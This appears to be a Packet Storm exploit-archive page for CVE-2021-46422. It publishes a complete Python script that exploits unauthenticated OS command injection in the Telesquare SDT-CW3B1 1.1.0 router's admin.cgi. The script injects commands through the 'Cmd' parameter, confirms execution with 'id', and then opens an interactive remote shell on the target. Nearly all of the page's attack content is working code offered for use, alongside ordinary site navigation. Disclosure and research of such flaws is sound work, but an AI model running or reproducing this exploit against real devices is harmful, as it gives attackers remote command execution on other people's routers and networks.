exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Telesquare SDT-CW3B1 1.1.0 Command Injection

Telesquare SDT-CW3B1 1.1.0 Command Injection
Posted Jun 3, 2022
Authored by Bryan Leong

Telesquare SDT-CW3B1 version 1.1.0 suffers from a command injection vulnerability.

tags | exploit
advisories | CVE-2021-46422
SHA-256 | a7a13abc7ddc96458bd5e13bac1569c00b2cd6494d8505f0f1a842bbdc267f3d

Telesquare SDT-CW3B1 1.1.0 Command Injection

Change Mirror Download
#!/usr/bin/python3 

# Exploit Title: Telesquare SDT-CW3B1 1.1.0 - OS Command Injection
# Date: 24th May 2022
# Exploit Author: Bryan Leong <NobodyAtall>
# Vendor Homepage: http://telesquare.co.kr/
# CVE : CVE-2021-46422
# Authentication Required: No

import requests
import argparse
import sys
from xml.etree import ElementTree

def sysArgument():
ap = argparse.ArgumentParser()
ap.add_argument("--host", required=True, help="target hostname/IP")
args = vars(ap.parse_args())
return args['host']

def checkHost(host):
url = "http://" + host

print("[*] Checking host is it alive?")

try:
rsl = requests.get(url)
print("[*] The host is alive.")
except requests.exceptions.Timeout as err:
raise SystemExit(err)

def exploit(host):
url = "http://" + host + "/cgi-bin/admin.cgi?Command=sysCommand&Cmd="

#checking does the CGI exists?
rsl = requests.get(url)

if(rsl.status_code == 200):
print("[*] CGI script exist!")
print("[*] Injecting some shell command.")

#1st test injecting id command
cmd = "id"

try:
rsl = requests.get(url + cmd, stream=True)
xmlparser = ElementTree.iterparse(rsl.raw)

cmdRet = []

for event, elem in xmlparser:
if(elem.tag == 'CmdResult'):
cmdRet.append(elem.text)
except:
print("[!] No XML returned from CGI script. Possible not vulnerable to the exploit")
sys.exit(0)

if(len(cmdRet) != 0):
print("[*] There's response from the CGI script!")
print('[*] System ID: ' + cmdRet[0].strip())

print("[*] Spawning shell. type .exit to exit the shell", end="\n\n")
#start shell iteration
while(True):
cmdInput = input("[SDT-CW3B1 Shell]# ")

if(cmdInput == ".exit"):
print("[*] Exiting shell.")
sys.exit(0)

rsl = requests.get(url + cmdInput, stream=True)
xmlparser = ElementTree.iterparse(rsl.raw)


for event, elem in xmlparser:
if(elem.tag == 'CmdResult'):
print(elem.text.strip())

print('\n')

else:
print("[!] Something doesn't looks right. Please check the request packet using burpsuite/wireshark/etc.")
sys.exit(0)

else:
print("[!] CGI script not found.")
print(rsl.status_code)
sys.exit(0)

def main():
host = sysArgument()

checkHost(host)
exploit(host)

if __name__ == "__main__":
main()

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close